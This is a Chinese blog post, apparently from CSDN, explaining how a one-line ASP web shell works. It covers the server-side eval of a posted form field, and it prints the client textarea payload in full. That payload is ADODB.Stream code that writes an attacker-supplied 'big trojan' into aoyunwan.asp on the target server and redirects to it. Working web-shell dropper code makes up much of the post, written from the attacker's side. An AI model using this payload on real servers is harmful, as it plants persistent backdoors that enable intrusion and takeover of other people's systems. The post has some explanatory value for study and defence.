一句话木马原理

首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript 脚本 的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form('#')+''这句代码,Request.form('#')的作用是读取 客户端 文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:
  <textarea name=# cols="80" rows="10">
  set iP=server.createObject("Adodb.Stream") 
  iP.Open 
  iP.Type=2 
  iP.CharSet="gb2312" 
  iP.writetext request("aoyun") 
  iP.SaveToFile server.mappath("aoyunwan.asp"),2 
  iP.Close 
  set iP=nothing 
  response.redirect "aoyunwan.asp" 
  </textarea>
  学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:
  set iP=server.createObject("Adodb.Stream") 
  iP.Open 
  iP.Type=2 
  iP.CharSet="gb2312" 
  iP.writetext request("aoyun") 
  iP.SaveToFile server.mappath("aoyunwan.asp"),2 
  iP.Close 
  set iP=nothing 
  response.redirect "aoyunwan.asp"
  学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对象中的writetext方法将 request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea域中的内容,也就是我们的大马的代码)写入服务端 的 aoyunwan.asp
  文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect "aoyunwan.asp" 转向写入的文件,就是我们最后见的大马了!
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值